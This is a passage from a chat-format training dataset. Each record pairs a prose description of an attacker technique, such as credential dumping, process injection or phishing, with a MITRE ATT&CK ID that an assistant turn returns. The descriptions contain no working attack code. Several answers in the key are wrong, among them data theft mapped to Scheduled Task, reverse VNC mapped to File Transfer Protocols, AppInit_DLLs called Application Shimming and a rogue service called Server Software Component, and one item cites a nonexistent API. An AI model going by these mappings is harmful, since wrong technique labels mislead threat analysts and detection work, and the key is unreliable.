        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The perpetrator inserted defacement scripts into a compromised server's .htaccess file, causing all requests to be redirected to a ransom page."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries search publicly available websites and domain name records to gather intelligence on the target organization."
            },
            {
                "role": "assistant",
                "content": "T1593 - Search Open Websites/Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential dumping tool extracts cached domain credentials from LSASS memory."
            },
            {
                "role": "assistant",
                "content": "T1003.005 - OS Credential Dumping: Cached Domain Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers use a botnet to send continuous ICMP echo requests (pings) to overwhelm the target's network bandwidth, resulting in a denial of service."
            },
            {
                "role": "assistant",
                "content": "T1498.001 - Network Denial of Service: Direct Network Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a custom VBA macro add‑in into the %APPDATA%\\Microsoft\\Word\\STARTUP folder to achieve persistence."
            },
            {
                "role": "assistant",
                "content": "T1137.006 - Office Application Startup: Add-ins"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries embed public-key encryption in their beaconing to hide command traffic from network monitors."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses a timing loop that measures instruction execution time to detect if the process is being stepped through by a debugger."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit embeds a trigger in the Windows Task Scheduler that fires a payload whenever the user opens the Control Panel."
            },
            {
                "role": "assistant",
                "content": "T1546.005 - Event Triggered Execution: Trap"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Trojan hides its core binary inside the metadata of a media file, using custom obfuscation to blend with normal file attributes."
            },
            {
                "role": "assistant",
                "content": "T1027.009 - Obfuscated Files or Information: Embedded Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The spyware lists all connected removable drives, copies any media files found, and stages them for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder uses the 'whois -h whois.arin.net' command to retrieve network allocation records for the target."
            },
            {
                "role": "assistant",
                "content": "T1596.002 - Search Open Technical Databases: WHOIS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor inspects the SELinux context of processes to identify those belonging to containerized services."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware calls the Windows GetSystemDirectory API and then queries the 'geoiplookup' service to determine the server's city and country."
            },
            {
                "role": "assistant",
                "content": "T1614 - System Location Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor scans Twitter and LinkedIn for publicly posted photos and posts that reveal the physical location of key personnel."
            },
            {
                "role": "assistant",
                "content": "T1593.001 - Search Open Websites/Domains: Social Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro updates the user's mail client to automatically forward copies of incoming messages to a remote address while also moving the originals to a subfolder that is not displayed in the inbox."
            },
            {
                "role": "assistant",
                "content": "T1564.008 - Hide Artifacts: Email Hiding Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary runs a dictionary of common usernames against a public web login page to discover valid accounts."
            },
            {
                "role": "assistant",
                "content": "T1595.003 - Active Scanning: Wordlist Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A privilege escalation is achieved by exploiting a race condition in the polkit daemon on Linux."
            },
            {
                "role": "assistant",
                "content": "T1548 - Abuse Elevation Control Mechanism"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code uses a PRNG seeded with the system uptime to generate domain names and resolves them through DNS for updates."
            },
            {
                "role": "assistant",
                "content": "T1568.003 - Dynamic Resolution: DNS Calculation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker registers a malicious DLL in the registry under the AppInit_DLLs key so that it loads each time a user logs on, achieving code execution via application shimming."
            },
            {
                "role": "assistant",
                "content": "T1546.011 - Event Triggered Execution: Application Shimming"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Before performing its main payload, the tool verifies that a custom environment variable, set only on the target host, contains a specific secret string."
            },
            {
                "role": "assistant",
                "content": "T1480.001 - Execution Guardrails: Environmental Keying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware leverages PowerShell's \"Invoke-RestMethod\" to call a remote service that returns the system's public IP address."
            },
            {
                "role": "assistant",
                "content": "T1016.001 - System Network Configuration Discovery: Internet Connection Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious group extracts metadata from the cloud metadata service (e.g., 169.254.169.254) to discover instance details, attached roles, and network configuration."
            },
            {
                "role": "assistant",
                "content": "T1580 - Cloud Infrastructure Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Trojanized ICO file is used in a software installer; when the icon is displayed, it leverages a known vulnerability in the Windows icon parser to execute code."
            },
            {
                "role": "assistant",
                "content": "T1204.003 - User Execution: Malicious Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs a library that hooks GetMessage calls to retrieve user input from graphical interfaces across the system."
            },
            {
                "role": "assistant",
                "content": "T1056.002 - Input Capture: GUI Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder creates a persistent SSH tunnel into a victim's Azure VM using the Azure Bastion service."
            },
            {
                "role": "assistant",
                "content": "T1021.008 - Remote Services: Direct Cloud VM Connections"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious Excel add‑in is placed in the Startup folder, causing the payload to run whenever Excel is opened."
            },
            {
                "role": "assistant",
                "content": "T1137.006 - Office Application Startup: Add-ins"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors utilize a Python-based downloader that pulls further malicious modules from a hardcoded URL."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a custom authentication provider that is called by the Windows security subsystem each time a user logs in."
            },
            {
                "role": "assistant",
                "content": "T1547.002 - Boot or Logon Autostart Execution: Authentication Package"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries purchase a virtual private server (VPS) in a foreign country to hide their operations."
            },
            {
                "role": "assistant",
                "content": "T1583.003 - Acquire Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries hijack the Verclsid COM server to run ransomware payloads without triggering alerts, employing the T1218.012 technique."
            },
            {
                "role": "assistant",
                "content": "T1218.012 - System Binary Proxy Execution: Verclsid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses Azure Blob storage to stage collected credentials for later retrieval."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious campaign compromises web servers, forming a botnet that is later employed to scrape proprietary source code from competitor sites."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan installs a hidden service that periodically reads the saved passwords from the user's Firefox profile and uploads them to the attacker."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A targeted email contains a Bitly-shortened URL that, when clicked, exploits a browser vulnerability to drop a backdoor."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exploiting vulnerabilities in software for data theft"
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker injects shellcode into a running process and calls the Windows Native API NtCreateThreadEx to spawn a new thread for execution."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors deployed a rogue Windows Service on the domain controller to maintain persistence across reboots."
            },
            {
                "role": "assistant",
                "content": "T1505 - Server Software Component"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker delivers a malicious HTML file via phishing email that uses JavaScript to decode base64-encoded payloads directly in the browser, bypassing endpoint defenses."
            },
            {
                "role": "assistant",
                "content": "T1027.006 - Obfuscated Files or Information: HTML Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker scrapes Discord chat histories to retrieve API keys and session tokens stored in messages."
            },
            {
                "role": "assistant",
                "content": "T1552.008 - Unsecured Credentials: Chat Messages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The post-exploitation tool communicates via the WS-Management protocol (WinRM) to remotely manage compromised endpoints."
            },
            {
                "role": "assistant",
                "content": "T1021.006 - Remote Services: Windows Remote Management"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The payload includes a conditional delay that activates only when the host's BIOS clock ticks at a normal rate, effectively stalling in sandbox environments where time is artificially sped up."
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Virtualization/Sandbox Evasion: Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware logs all keystrokes typed by the user and periodically transmits the logs."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit creates a DNS-based reverse shell, where each DNS request from the victim carries a chunk of the attacker’s command output."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code extracts saved web browser passwords that are stored without encryption on the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1552 - Unsecured Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised user runs \"sc create\" to define a service that points to a malicious executable and then uses \"sc start\" to execute it immediately."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A spearphishing voice campaign delivers a message that mimics a government agency, requesting the target to call a number to confirm tax information."
            },
            {
                "role": "assistant",
                "content": "T1566.004 - Phishing: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor sets up a reverse VNC connection to gain graphical command control over the compromised system."
            },
            {
                "role": "assistant",
                "content": "T1071.002 - Application Layer Protocol: File Transfer Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker places a malicious executable named 'cmd.exe' in a directory that appears earlier in the system PATH than the legitimate utility, exploiting an unquoted service path to achieve code execution."
            },
            {
                "role": "assistant",
                "content": "T1574.009 - Hijack Execution Flow: Path Interception by Unquoted Path"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker delivers a malicious PowerShell module to a remote endpoint using PsExec and the ADMIN$ share."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise involves sending crafted requests to the container runtime's socket, pulling credential files from /var/lib/docker."
            },
            {
                "role": "assistant",
                "content": "T1552.007 - Unsecured Credentials: Container API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group invoked InstallUtil.exe with a custom installer class to gain SYSTEM privileges."
            },
            {
                "role": "assistant",
                "content": "T1218.004 - System Binary Proxy Execution: InstallUtil"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan uses proprietary binary packing to hide its internal code from analysis."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Incident response logs show an unauthorized scheduled task that executes a PowerShell one‑liner to disable security tools."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker utilizes the ImpersonateLoggedOnUser function to adopt the security context of a logged‑in administrator."
            },
            {
                "role": "assistant",
                "content": "T1134.003 - Access Token Manipulation: Make and Impersonate Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the Windows Kernel Transaction Manager, the actor writes a malicious PE into a transaction, rolls back, then maps the image into a new process memory space to execute it stealthily (Process Doppelgänging)."
            },
            {
                "role": "assistant",
                "content": "T1055.013 - Process Injection: Process Doppelgänging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware disables the generation of security alerts by removing or disabling the indicator files used by the network intrusion detection system."
            },
            {
                "role": "assistant",
                "content": "T1562.006 - Impair Defenses: Indicator Blocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors acquire detailed schematics of a factory's control system by purchasing the data from a leaked source."
            },
            {
                "role": "assistant",
                "content": "T1597.002 - Search Closed Sources: Purchase Technical Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A new exploit is released, utilizing a previously unknown vulnerability to compromise targets."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion leverages a misconfigured firewall rule to infiltrate a virtual private server and install a crypto‑miner."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group leverages the Exchange Remote PowerShell endpoint to execute \"Get-Mailbox -Filter *\" and harvest email account names."
            },
            {
                "role": "assistant",
                "content": "T1087.003 - Account Discovery: Email Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors compromise a popular open‑source library’s source repository and publish a tainted update, which is automatically pulled into the victim’s CI/CD pipeline, compromising the build environment."
            },
            {
                "role": "assistant",
                "content": "T1195.001 - Supply Chain Compromise: Compromise Software Dependencies and Development Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary writes malicious addresses into the KernelCallbackTable, causing the operating system to invoke attacker code during normal operations."
            },
            {
                "role": "assistant",
                "content": "T1574.013 - Hijack Execution Flow: KernelCallbackTable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors take advantage of a trusted relationship with a managed service provider to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1199 - Trusted Relationship"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The trojan captures the victim's screen every 30 seconds and exfiltrates the images to its C2 server."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email delivered a trojan that sent back the victim's external IP by contacting https://api.ipify.org."
            },
            {
                "role": "assistant",
                "content": "T1590.005 - Gather Victim Network Information: IP Addresses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromise of a DNS server’s master zone file allows the attacker to insert malicious NS records, redirecting subdomains to malicious sites."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary executes 'service --status-all' on a Linux system to discover active daemons."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor injects a portable executable into the memory of lsass.exe by allocating space with VirtualAllocExEx and executing it via NtCreateThreadEx."
            },
            {
                "role": "assistant",
                "content": "T1055.002 - Process Injection: Portable Executable Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor performs man-in-the-middle by poisoning the ARP cache of the victim to intercept SMB file transfers."
            },
            {
                "role": "assistant",
                "content": "T1557.002 - Adversary-in-the-Middle: ARP Cache Poisoning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The operator performed advanced queries on public Facebook groups to collect detailed information about the victim's upcoming events."
            },
            {
                "role": "assistant",
                "content": "T1593.001 - Search Open Websites/Domains: Social Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a vulnerable Java deserialization flaw to achieve code execution as root."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign uses a compromised partner's domain to host a link that installs ransomware on the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a malicious PowerShell payload, the adversary added a new Group Policy Preference item that creates a hidden admin user on every domain‑joined workstation."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker delivers a malicious macro that creates a hidden PowerShell reverse shell, and subsequently upgrades the channel to an encrypted WebSocket for persistent C2."
            },
            {
                "role": "assistant",
                "content": "T1104 - Multi-Stage Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A custom backdoor performs code injection by writing malicious shellcode into a high-privilege process's memory region and triggering execution via a queued user-mode APC."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
